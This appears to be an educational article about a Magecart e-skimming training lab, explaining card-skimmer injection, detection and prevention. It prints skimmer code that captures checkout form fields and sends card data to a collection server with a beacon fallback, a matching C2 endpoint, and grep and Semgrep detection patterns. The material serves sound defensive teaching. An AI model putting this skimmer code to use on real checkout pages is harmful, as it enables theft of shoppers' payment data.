Understanding Magecart: How E-Skimming Attacks Steal Payment Data

A comprehensive deep-dive into Lab 1, exploring how basic Magecart attacks compromise e-commerce sites to steal credit card information.

Educational Purpose Only

This article and Lab 1 are strictly for educational purposes. The code examples demonstrate attack techniques to help security professionals understand and defend against them. Never use these techniques on systems you don't own.

What is Magecart?

Magecart is not a single hacking group, but an umbrella term for multiple cybercriminal organizations that specialize in stealing payment card data from e-commerce websites. These attacks are also known as:

  • E-skimming - Digital version of physical card skimmers
  • Web skimming - Skimming data from web pages
  • Formjacking - Hijacking form submissions
  • Digital skimming - Generic term for online card theft

The name originated from early attacks targeting Magento-based shopping carts, but the techniques have evolved to target any website that processes payment information—Shopify, WooCommerce, custom e-commerce platforms, and more.

Real-World Impact & Notable Breaches

Magecart attacks have caused massive financial and reputational damage worldwide. Lab 1 simulates techniques similar to these real-world breaches:

380K
British Airways customers affected (2018)
40K
Ticketmaster victims (2018)
70K+
Websites compromised since 2015
$20M
British Airways GDPR fine

Major Magecart groups documented by security researchers include:

  • Magecart Group 4, 5, 6, 12 - Various e-commerce compromises
  • Newegg breach (2018) - 1-month persistent attack on major electronics retailer
  • Macy's breach (2019) - Customer payment data stolen
  • Forbes Magazine breach (2019) - Subscription page compromised

Anatomy of the Attack

Classic Magecart attacks follow a consistent pattern that Lab 1 demonstrates in a controlled environment:

Step 1: Initial Compromise

Attackers gain access to inject malicious JavaScript through:

  • Compromised admin credentials (weak passwords, phishing)
  • Exploiting CMS vulnerabilities (Magento, WooCommerce plugins)
  • Supply chain attacks (compromising third-party scripts)
  • Server-side attacks (SQL injection, RCE)

Step 2: Code Injection

The attack involves appending malicious code to legitimate JavaScript files. In Lab 1, we demonstrate this in checkout-compromised.js:

// ============================================================================
// LEGITIMATE CHECKOUT CODE (lines 1-239)
// ============================================================================
;(function () {
  'use strict'
  // Normal checkout validation, UI updates, etc.
})()

// ============================================================================
// MALICIOUS CODE INJECTED BY ATTACKERS (lines 240+)
// In real attacks: heavily obfuscated, minified, hidden
// ============================================================================
;(function () {
  setTimeout(function () {
    // Skimmer initialization with delay to avoid detection
  }, 500)
})()
Why Two IIFE Blocks?

Using separate Immediately Invoked Function Expressions (IIFEs) ensures the malicious code runs independently without breaking the legitimate checkout functionality. Customers complete purchases normally while their data is silently stolen.

Step 3: Form Interception

The skimmer waits for payment form submission and captures all sensitive fields:

form.addEventListener('submit', function (event) {
  const cardData = extractCardData()

  if (hasValidCardData(cardData)) {
    setTimeout(() => exfiltrateData(cardData), CONFIG.delay)
  }

  // CRITICAL: Allow legitimate checkout to continue
  // (No preventDefault() - victim doesn't notice anything wrong)
})

Step 4: Data Extraction

The skimmer systematically queries for payment fields using multiple selector strategies:

function extractCardData() {
  return {
    cardNumber: getFieldValue(['#card-number', '[name="cardNumber"]']),
    cvv: getFieldValue(['#cvv', '[name="cvv"]']),
    expiry: getFieldValue(['#expiry', '[name="expiry"]']),
    cardholderName: getFieldValue(['#cardholder-name', '[name="cardholderName"]']),
    billingAddress: getFieldValue(['#billing-address', '[name="billingAddress"]']),
    city: getFieldValue(['#city', '[name="city"]']),
    zip: getFieldValue(['#zip', '[name="zip"]']),
    email: getFieldValue(['#email', '[name="email"]']),
    metadata: {
      url: window.location.href,
      timestamp: new Date().toISOString(),
      userAgent: navigator.userAgent
    }
  }
}

Step 5: Data Exfiltration

Stolen data is sent to an attacker-controlled C2 (Command & Control) server with a fallback mechanism:

function exfiltrateData(data) {
  // Primary method: AJAX POST request
  fetch(CONFIG.exfilUrl, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify(data),
    mode: 'cors',
    credentials: 'omit'  // Avoid sending cookies
  })
  .catch(error => {
    // Fallback: Image beacon if fetch fails
    const img = new Image()
    img.src = CONFIG.exfilUrl + '?d=' + btoa(JSON.stringify(data))
  })
}

The C2 (Command & Control) Server

Lab 1 includes a simulated attacker C2 server that demonstrates how stolen data is collected. Real attackers would host this on:

  • Compromised legitimate servers (to avoid suspicion)
  • Bulletproof hosting providers (resistant to takedowns)
  • Domains mimicking legitimate services (e.g., google-analytics-cdn.com)

The C2 server in Lab 1 receives and logs stolen card data:

// Receives stolen data via POST
app.post('/collect', async (req, res) => {
  const stolenData = req.body
  
  // Validate if card data is "sellable"
  const validation = validateCardData(stolenData)
  
  // Log to file (attackers would use encrypted databases)
  await logStolenData(stolenData)
  
  // Return success to avoid alerting the skimmer
  res.status(200).json({ status: 'ok' })
})
What Attackers Do With Stolen Data
  • Sell on dark web marketplaces - $5-30 per card
  • Use for fraudulent purchases - High-value goods
  • Aggregate with other data - Build complete identities
  • Forward to money mules - Cash out through intermediaries

Lab 1 Technical Walkthrough

Lab 1 File Structure

01-basic-magecart/
├── vulnerable-site/          # Target e-commerce website
│ ├── index.html             # Store homepage
│ ├── checkout.html          # Checkout page
│ └── js/
│     ├── checkout.js         # Original legitimate code
│     └── checkout-compromised.js # Legitimate + skimmer
├── malicious-code/          # C2 server infrastructure
│ └── c2-server/
│     ├── server.js          # Data collection server
│     └── dashboard.html    # Stolen data viewer
└── test/                      # Playwright test suite

Key Detection Signatures

Lab 1 teaches you to identify these critical indicators:

1. Dual IIFE Pattern

Two separate Immediately Invoked Function Expressions in the same file—especially with setTimeout wrapping the second block—is a strong indicator of injected code.

2. CONFIG Objects with External URLs

const CONFIG = {
  exfilUrl: '/lab1/c2/collect',  // External endpoint!
  delay: 100,
  debug: true
}

3. Form Event Listeners That Don't preventDefault()

Legitimate form handlers usually prevent default submission. Skimmers explicitly allow it to avoid detection.

4. Network Requests to Non-Payment Domains

POST requests during checkout to domains other than your payment processor are highly suspicious.

Detection Methods

Browser DevTools Detection

Open DevTools (F12) and check:

  1. Network Tab: Filter by "collect" or "beacon"—look for POST requests to unexpected domains
  2. Sources Tab: Navigate to checkout*.js and search for exfilUrl, CONFIG, extractCardData
  3. Console Tab: Enable "Preserve log" and look for [SKIMMER] log messages

Static Analysis (grep commands)

# Search for exfiltration URLs
grep -r "exfilUrl\|c2Server\|collectUrl" --include="*.js" .

# Search for form event listeners
grep -r "addEventListener.*submit" --include="*.js" .

# Search for data extraction patterns
grep -r "cardNumber\|cvv.*expiry" --include="*.js" .

# Search for fetch/beacon patterns
grep -r "fetch.*POST\|new Image.*src" --include="*.js" .

Semgrep Detection Rules

rules:
  - id: credit-card-exfiltration
    patterns:
      - pattern: fetch($URL, { ... body: $DATA ... })
      - metavariable-regex:
          metavariable: $DATA
          regex: '.*(card|cvv|expir).*'
    message: "Potential credit card data exfiltration"
    severity: ERROR

Prevention Strategies

Content Security Policy (CSP)

CSP is one of the most effective defenses. Configure headers to restrict script sources and connection endpoints:

Content-Security-Policy:
  script-src 'self' https://trusted-cdn.com;
  connect-src 'self' https://api.payment-provider.com;
  form-action 'self';
  frame-ancestors 'none';
  report-uri /csp-violation-report;

Subresource Integrity (SRI)

Ensure loaded scripts haven't been tampered with:

<script src="checkout.js"
        integrity="sha384-oqVuAfXRKap7fdgcCY5uyk..."
        crossorigin="anonymous"></script>

Additional Defense Measures

  • File Integrity Monitoring (FIM) - Detect unauthorized changes to JavaScript files
  • Regular security audits - Review third-party scripts and dependencies
  • Multi-factor authentication - Protect admin accounts from compromise
  • Network monitoring - Alert on unexpected outbound connections during checkout
  • Use payment iframes - Isolate payment forms from your domain's JavaScript
Key Takeaways
  • Magecart attacks inject JavaScript to silently steal payment data
  • Skimmers allow legitimate checkout to continue, hiding the theft
  • Third-party scripts are a major attack vector
  • CSP policies can effectively block unauthorized network requests
  • Regular script auditing and SRI hashes provide defense-in-depth
  • Lab 1 provides hands-on training to recognize these patterns

Try It Yourself

Ready to see these techniques in action? Lab 1 provides a safe, controlled environment to:

  • Explore compromised JavaScript and compare with legitimate code
  • Observe data exfiltration in browser DevTools
  • View the attacker's C2 dashboard with captured data
  • Practice detection using the methods described above
  • Run automated tests to verify skimmer behavior

Launch Lab 1: Basic Magecart Attack

Get hands-on experience detecting and analyzing Magecart skimmers in our interactive lab environment.

Continue Learning

Want to Contribute?

We're participating in Google Summer of Code! Help us create new attack labs, build detection tools, or develop ML-based detection engines.